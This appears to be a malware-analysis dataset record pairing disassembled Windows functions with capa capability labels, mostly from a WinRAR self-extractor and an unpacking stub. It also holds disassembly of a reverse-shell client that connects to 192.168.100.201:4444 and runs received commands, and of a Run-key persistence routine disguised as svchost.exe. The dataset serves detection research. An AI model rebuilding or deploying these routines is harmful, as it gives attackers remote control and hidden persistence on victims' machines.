joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400208ec
Capabilities:
Create directory

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0xf0
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0x7f]
mov edx, 0x20008
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140020a4e
mov rcx, qword [rbp + 0x7f]
lea rax, [rbp + 0x6f]
and dword [rbp + 0x6f], 0
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea r14d, [r9 + 1]
mov edx, r14d
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
jne 0x14002095b
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x140020a4e
mov ecx, dword [rbp + 0x6f]
call fcn.14002d38c
mov r9d, dword [rbp + 0x6f]
mov rbx, rax
mov rcx, qword [rbp + 0x7f]
lea rax, [rbp + 0x6f]
mov r8, rbx
mov qword [rsp + 0x20], rax
mov edx, r14d
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
jne 0x140020994
mov rcx, rbx
call fcn.14002aad8
jmp 0x140020a4e
mov r8, qword [rbx]
lea rdx, [rbp - 9]
mov ecx, 0x44
call qword [sym.imp.ADVAPI32.dll_CopySid]
mov rcx, rbx
call fcn.14002aad8
and qword [rbp - 0x41], 0
lea rax, [rbp - 9]
and dword [rbp - 0x45], 0
lea r9, [rbp + 0x77]
and qword [rbp + 0x77], 0
lea rdx, [rbp - 0x61]
xorps xmm0, xmm0
mov qword [rbp - 0x39], rax
xor r8d, r8d
mov dword [rbp - 0x61], 0x11060000
mov ecx, r14d
mov dword [rbp - 0x5d], r14d
movdqu xmmword [rbp - 0x55], xmm0
mov dword [rbp - 0x59], 3
call qword [sym.imp.ADVAPI32.dll_SetEntriesInAclW]
test eax, eax
jne 0x140020a4e
mov edx, r14d
lea rcx, [rbp - 0x31]
call qword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
test eax, eax
je 0x140020a3f
mov r8, qword [rbp + 0x77]
lea rcx, [rbp - 0x31]
xor r9d, r9d
mov edx, r14d
call qword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
test eax, eax
je 0x140020a3f
and dword [rbp - 0x69], 0
lea rax, [rbp - 0x31]
lea rdx, [rbp - 0x79]
mov qword [rbp - 0x71], rax
mov rcx, rdi
mov dword [rbp - 0x79], 0x18
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov rcx, qword [rbp + 0x77]
test rcx, rcx
je 0x140020a4e
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rbx, qword [rsp + 0x110]
add rsp, 0xf0
pop r14
pop rdi
pop rbp
ret

Function at 0x140020a64
Capabilities:
Delete file

Disassembly:
push rbx
mov eax, 0x1070
call fcn.140025870
sub rsp, rax
xor ebx, ebx
cmp word [0x14005ed42], bx
je 0x140020b0c
lea rcx, [0x14005ed42]
call fcn.14000f6bc
mov rdx, qword [str.RarSFX]
lea r8d, [rbx + 6]
mov rcx, rax
call fcn.140015fd4
test eax, eax
jne 0x140020b0c
lea rcx, [0x14005dd40]
call fcn.140020554
mov r8d, 0x800
lea rdx, [0x14005ed42]
lea rcx, [rsp + 0x60]
call fcn.14001427c
lea rcx, [rsp + 0x60]
call fcn.14002a818
xor edx, edx
lea r8d, [rbx + 0x38]
lea rcx, [rsp + 0x20]
mov word [rsp + rax*2 + 0x62], bx
call fcn.140026760
lea eax, [rbx + 0x14]
mov dword [rsp + 0x28], 3
mov word [rsp + 0x40], ax
lea rcx, [rsp + 0x20]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rax
call qword [sym.imp.SHELL32.dll_SHFileOperationW]
add rsp, 0x1070
pop rbx
ret
Function at 0x140020b74
Capabilities:
Get geographical location

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x170
xor ebp, ebp
mov rdi, r8
cmp qword [0x14004c920], rbp
mov rbx, rdx
mov rsi, rcx
jne 0x140020bdc
lea r9d, [rbp + 0x64]
mov ecx, 0x400
lea r8, [rax - 0xd8]
lea edx, [rbp + 0xf]
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
movzx eax, word [rsp + 0xa0]
mov word [0x14006e3d0], ax
lea rax, [0x14006e3d0]
mov qword [0x14004c920], rax
mov word [0x14006e3d2], bp
mov r8d, 0x32
lea rdx, [rsp + 0x30]
mov rcx, rsi
call fcn.1400140e0
lea r9, [0x14004c908]
mov dword [rsp + 0x28], edi
lea r8, [rsp + 0x30]
mov word [rbx], bp
xor edx, edx
mov qword [rsp + 0x20], rbx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_GetNumberFormatW]
lea r11, [rsp + 0x170]
mov word [rbx + rdi*2 - 2], bp
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x140020e30
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x1f40]
mov eax, 0x2040
call fcn.140025870
sub rsp, rax
xor esi, esi
mov rdi, rdx
cmp byte [0x14005fd48], sil
mov rbx, rcx
je 0x140020f17
mov r8d, 0x800
lea rdx, [rbp + 0xf40]
call fcn.1400226c8
lea rax, [rsp + 0x30]
xor r8d, r8d
lea r9d, [rsi + 1]
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareWinRAR_SFX
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140020f17
mov rcx, qword [rsp + 0x30]
lea rax, [rbp + 0x1f70]
mov qword [rsp + 0x28], rax
lea r9, [rbp + 0x1f78]
lea rax, [rsp + 0x40]
mov dword [rbp + 0x1f70], 0x1000
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0xf40]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140020f0c
mov eax, dword [rbp + 0x1f70]
lea rdx, [rsp + 0x40]
shr eax, 1
mov r8, rdi
mov ecx, eax
mov dword [rbp + 0x1f70], eax
mov eax, 0x7ff
cmp ecx, eax
cmovb eax, ecx
mov rcx, rbx
mov word [rsp + rax*2 + 0x40], si
call fcn.14001427c
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbx, qword [rsp + 0x2060]
add rsp, 0x2040
pop rdi
pop rsi
pop rbp
ret
Function at 0x14002100c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
mov eax, 0x2020
call fcn.140025870
sub rsp, rax
xor r14d, r14d
mov rsi, r8
mov rbx, rcx
test r9, r9
je 0x14002103f
mov byte [r9], r14b
mov rcx, qword [rsp + 0x2050]
test rcx, rcx
je 0x14002104f
mov byte [rcx], r14b
test rbx, rbx
je 0x140021104
movzx eax, word [rbx]
test ax, ax
je 0x140021104
movsxd rbp, dword [rsp + 0x2058]
mov rdi, r14
mov r8d, r14d
add rbx, 2
cmp ax, 0x3d
jne 0x140021094
test rsi, rsi
je 0x1400210a0
test rdi, rdi
jne 0x1400210a0
test r9, r9
je 0x14002108f
mov byte [r9], 1
mov rdi, rdx
jmp 0x1400210af
cmp ax, 0xd
je 0x1400210c1
cmp ax, 0xa
je 0x1400210c5
mov word [rdx], ax
add rdx, 2
lea eax, [rbp - 2]
cmp r8d, eax
jge 0x1400210bc
movzx eax, word [rbx]
inc r8d
test ax, ax
jne 0x140021072
jmp 0x1400210c5
mov byte [rcx], 1
jmp 0x1400210c5
add rbx, 2
mov word [rdx], r14w
test rsi, rsi
je 0x1400210ff
mov word [rsi], r14w
test rdi, rdi
je 0x1400210ff
mov r8d, 0x1000
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov r8, rbp
lea rdx, [rsp + 0x20]
mov rcx, rsi
call fcn.14001427c
mov word [rdi], r14w
mov rax, rbx
jmp 0x140021106
xor eax, eax
lea r11, [rsp + 0x2020]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret

Function at 0x140021124
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rdi, rcx
mov ebx, edx
lea rcx, [rsp + 0x58]
call qword [sym.imp.SHELL32.dll_SHGetMalloc]
lea rax, [rsp + 0x50]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov edx, ebx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderLocation]
xor ecx, ecx
test eax, eax
sete bl
test eax, eax
jne 0x140021190
mov rcx, qword [rsp + 0x50]
mov rdx, rdi
call qword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
mov rcx, qword [rsp + 0x58]
cmp eax, 1
mov rdx, qword [rsp + 0x50]
sete bl
mov rax, qword [rcx]
mov rax, qword [rax + 0x28]
call qword [0x14003b508]
jmp 0x140021193
mov word [rdi], cx
mov al, bl
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x140023d44
Capabilities:
Hide graphical window

Disassembly:
push rbx
sub rsp, 0x20
and dword [0x14005dd38], 0
mov edx, 1
mov rbx, rcx
mov byte [0x140056909], 1
mov byte [0x14005690a], 1
call qword [sym.imp.USER32.dll_ShowWindow]
xor r8d, r8d
mov rcx, rbx
lea edx, [r8 + 2]
call fcn.140001364
cmp qword [0x14006e3b0], 0
jne 0x140023d8f
cmp byte [0x14005691b], 0
je 0x140023d98
cmp dword [0x14005690c], 0
jne 0x140023dad
xor r9d, r9d
mov edx, 0x111
mov rcx, rbx
lea r8d, [r9 + 1]
call qword [sym.imp.USER32.dll_SendMessageW]
add rsp, 0x20
pop rbx
ret

Function at 0x140023e80
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
mov eax, 0x1050
call fcn.140025870
sub rsp, rax
xor edi, edi
mov rbx, rcx
cmp byte [0x14005fd48], dil
je 0x140023f52
cmp word [0x14005fd4a], di
je 0x140023f52
mov r8d, 0x800
lea rdx, [rsp + 0x50]
lea rcx, [0x14005fd4a]
call fcn.1400226c8
lea rax, [rsp + 0x1068]
xor r9d, r9d
mov qword [rsp + 0x40], rax
lea rdx, str.SoftwareWinRAR_SFX
lea rax, [rsp + 0x1070]
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], edi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140023f52
mov rcx, rbx
call fcn.14002a818
lea r9d, [rdi + 1]
xor r8d, r8d
lea rdx, [rsp + 0x50]
lea ecx, [rax*2 + 2]
mov dword [rsp + 0x28], ecx
mov rcx, qword [rsp + 0x1070]
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x1070]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbx, qword [rsp + 0x1060]
add rsp, 0x1050
pop rdi
ret

Function at 0x140023f64
Capabilities:
Set environment variable

Disassembly:
push rbx
mov eax, 0x2020
call fcn.140025870
sub rsp, rax
mov rbx, rcx
mov rdx, rcx
lea rcx, str.sfxcmd
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov r8d, 0x1000
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.140013f94
mov rbx, rax
test rax, rax
je 0x140023fc6
movzx ecx, word [rax]
jmp 0x140023fad
add rbx, 2
movzx ecx, word [rbx]
call fcn.1400140bc
test al, al
jne 0x140023fa6
mov rdx, rbx
lea rcx, str.sfxpar
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
add rsp, 0x2020
pop rbx
ret
Function at 0x140072490
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14007249d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x1400724ad
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x140072495
lea eax, [rcx + 1]
jmp 0x1400724bb
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x1400724ce
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x1400724b4
sub eax, 3
jb 0x1400724ee
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14007253d
sar eax, 1
movsxd rbp, eax
jb 0x140072524
jmp 0x1400724fc
add ebx, ebx
jne 0x1400724fa
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140072524
inc ecx
add ebx, ebx
jne 0x14007250a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140072524
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14007251d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14007250c
add ecx, 2
jmp 0x140072529
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.140072452
jmp 0x14007249d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x49600
mov dl, 0x11
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x140072589
cmp rsi, rcx
jae 0x140072591
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x140072570
cmp al, 0x8f
ja 0x140072570
cmp byte [rsi - 2], 0xf
je 0x140072576
sub al, 0xe8
cmp al, 1
ja 0x14007255a
cmp rsi, rcx
jae 0x140072591
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x140072560
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x140072591
lodsb al, byte [rsi]
jmp 0x140072570
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x6f000]
mov eax, dword [rdi]
or eax, eax
je 0x1400725ee
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x7249c]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x14007259e
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x1400725e8
mov qword [rbx], rax
add rbx, 8
jmp 0x1400725be
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x140072628
cmp al, 0xef
ja 0x14007261a
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x1400725fa
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x140072609
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x237]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x14007267c
sub rsp, 0xffffffffffffff80
jmp 0x14002dafc
Function at 0x401075
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov ecx, 0x80000001
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
xor r8, r8
mov r9d, 0x20019
lea rax, [0x402098]
mov qword [rsp + 0x20], rax
call sub.KERNEL32.dll_RegOpenKeyExA
test rax, rax
jne 0x4010f3
mov rcx, qword [0x402098]
lea rdx, str.svchost
xor r8, r8
mov r9d, 1
lea rax, str.C:ProgramDataMicrosoftServices_svchost.exe
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 0x24
call sub.KERNEL32.dll_RegSetValueExA
mov rcx, qword [0x402098]
call sub.KERNEL32.dll_RegCloseKey
mov rsp, rbp
pop rbp
xor rax, rax
ret
mov rsp, rbp
pop rbp
mov eax, 1
ret
Function at 0x140001550
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push rbp
sub rsp, 0x9f0
lea rbp, [rsp + 0x80]
call fcn.1400018e0
lea rax, str.192.168.100.201
mov qword [rbp + 0x968], rax
mov dword [rbp + 0x964], 0x115c
lea rax, [rbp + 0x7b0]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
setne al
test al, al
je 0x1400015a8
mov eax, 1
jmp 0x1400017cd
mov r8d, 0
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0x958], rax
cmp qword [rbp + 0x958], 0xffffffffffffffff
jne 0x1400015e5
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 1
jmp 0x1400017cd
mov rax, qword [rbp + 0x968]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp + 0x7a4], eax
mov word [rbp + 0x7a0], 2
mov eax, dword [rbp + 0x964]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x7a2], ax
lea rdx, [rbp + 0x7a0]
mov rax, qword [rbp + 0x958]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
shr eax, 0x1f
test al, al
je 0x14000166f
mov rax, qword [rbp + 0x958]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 1
jmp 0x1400017cd
mov rax, qword [rbp + 0x958]
mov r9d, 0
mov r8d, 0x1c
lea rdx, str.Connected_to_reverse_shell__n
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
lea rax, [rbp + 0x3a0]
mov r8d, 0x400
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
lea rdx, [rbp + 0x3a0]
mov rax, qword [rbp + 0x958]
mov r9d, 0
mov r8d, 0x3ff
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp + 0x954], eax
cmp dword [rbp + 0x954], 0
jg 0x14000170a
mov rax, qword [rbp + 0x958]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 0
jmp 0x1400017cd
lea rax, [rbp + 0x3a0]
lea rdx, [0x14000402d]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__popen]
call rax
mov qword [rbp + 0x948], rax
cmp qword [rbp + 0x948], 0
jne 0x140001760
mov rax, qword [rbp + 0x958]
mov r9d, 0
mov r8d, 0x1b
lea rdx, str.Failed_to_execute_command._n
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
jmp 0x140001695
mov rdx, qword [rbp + 0x948]
lea rax, [rbp - 0x60]
mov r8, rdx
mov edx, 0x400
mov rcx, rax
call sub.msvcrt.dll_fgets
test rax, rax
setne al
test al, al
je 0x1400017b5
lea rax, [rbp - 0x60]
mov rcx, rax
call sub.msvcrt.dll_strlen
mov ecx, eax
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x958]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
jmp 0x140001760
mov rax, qword [rbp + 0x948]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__pclose]
call rax
jmp 0x140001695
add rsp, 0x9f0
pop rbp
ret
Function at 0x140001b00
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.1400029e0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.1400029e0
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]
Function at 0x140001b70
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x1400070a4]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x140001d20
mov rax, qword [0x1400070a8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x140001bbc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x140001c47
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x140001ba0
mov rcx, r12
call fcn.140002620
mov rbp, rax
test rax, rax
je 0x140001d7d
mov rax, qword [0x1400070a8]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call fcn.140002750
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x1400070a8]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001d62
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001c40
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001cd0
add dword [0x1400070a4], 1
cmp ebx, 8
jae 0x140001c78
test bl, 4
jne 0x140001d30
test ebx, ebx
je 0x140001c69
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x140001d50
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x140001c69
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x140001caa
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rdi, qword [0x1400070a8]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001c40
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001b00
xor edi, edi
jmp 0x140001bc7
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x140001c69
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x140001c69
mov rax, qword [0x1400070a8]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call fcn.140001b00
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.140001b00
nop
nop dword [rax]
Function at 0x140002290
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x140007100]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400070e0]
test rbx, rbx
je 0x1400022e4
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x1400022db
test r12, r12
je 0x1400022db
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400022c0
lea rcx, [0x140007100]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140002620
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x1400043a0]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x140002699
mov rcx, r10
call fcn.1400024f0
test eax, eax
je 0x140002699
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x140002696
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x14000268d
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x140002699
add r8, 0x28
cmp r8, r9
jne 0x140002678
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret
Function at 0x1400289e4
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14001c2f4
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14001c2f4
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x140028b34
cmp rax, 0xffffffffffffffff
je 0x140028b34
xor edi, edi
test rbp, rbp
jle 0x140028adf
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001ec08
mov rbx, rax
test rax, rax
jne 0x140028a6c
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140028ad5
mov edx, 0x8000
mov ecx, r14d
call fcn.140019c58
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14001cfd0
cmp eax, 0xffffffff
je 0x140028ab5
cdqe
sub rbp, rax
test rbp, rbp
jg 0x140028a7c
mov edx, r15d
mov ecx, r14d
call fcn.140019c58
jmp 0x140028ad5
cmp byte [rsi + 0x38], dil
je 0x140028acc
cmp dword [rsi + 0x34], 5
jne 0x140028acc
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x140028ad5
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14001a9b8
jmp 0x140028b48
jns 0x140028b48
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14001c2f4
cmp rax, 0xffffffffffffffff
jne 0x140028b00
cmp byte [rsi + 0x30], dil
je 0x140028b48
mov edi, dword [rsi + 0x2c]
jmp 0x140028b48
mov ecx, r14d
call fcn.14001878c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140028b48
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x140028b48
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140028b41
mov eax, dword [rsi + 0x2c]
jmp 0x140028b46
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14001c2f4
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x140029c40
Capabilities:
